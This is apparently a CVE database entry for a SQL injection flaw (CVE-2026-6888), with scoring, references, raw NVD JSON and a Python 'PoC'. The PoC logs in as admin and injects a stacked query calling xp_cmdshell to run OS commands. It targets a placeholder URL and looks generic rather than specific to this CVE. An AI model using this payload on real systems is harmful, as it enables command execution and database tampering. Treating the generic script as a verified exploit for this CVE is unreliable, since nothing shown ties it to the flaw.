CVE-2026-6888

Description

Successful exploitation of the SQL injection vulnerability could allow a remote authenticated attacker to execute arbitrary commands via a specific interface, potentially enabling the attacker to access, modify, or delete sensitive information within the database.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

未指定版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "http://vulnerable-app.com/api/specific_interface"

# Attacker credentials (High privilege required)
login_data = {
    "username": "admin",
    "password": "password"
}

# Establish authenticated session
session = requests.Session()
session.post("http://vulnerable-app.com/login", data=login_data)

# SQL Injection Payload to execute arbitrary commands
# Example using stacked query to execute system command
payload = {
    "id": "1'; EXEC xp_cmdshell('whoami'); --"
}

try:
    response = session.get(target_url, params=payload)
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6888
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6888
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6888/
[4] VulDB https://vuldb.com/cve/CVE-2026-6888
[5] https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-050/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6888", "sourceIdentifier": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "published": "2026-05-13T04:17:41.093", "lastModified": "2026-05-13T16:17:02.120", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Successful exploitation of the SQL injection vulnerability could allow a remote authenticated attacker to\nexecute arbitrary commands via a specific interface,\npotentially enabling the attacker to access, modify, or delete sensitive\ninformation within the database."}], "metrics": {"cvssMetricV31": [{"source": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-050/", "source": "5f57b9bf-260d-4433-bf07-b6a79e9bb7d4"}]}}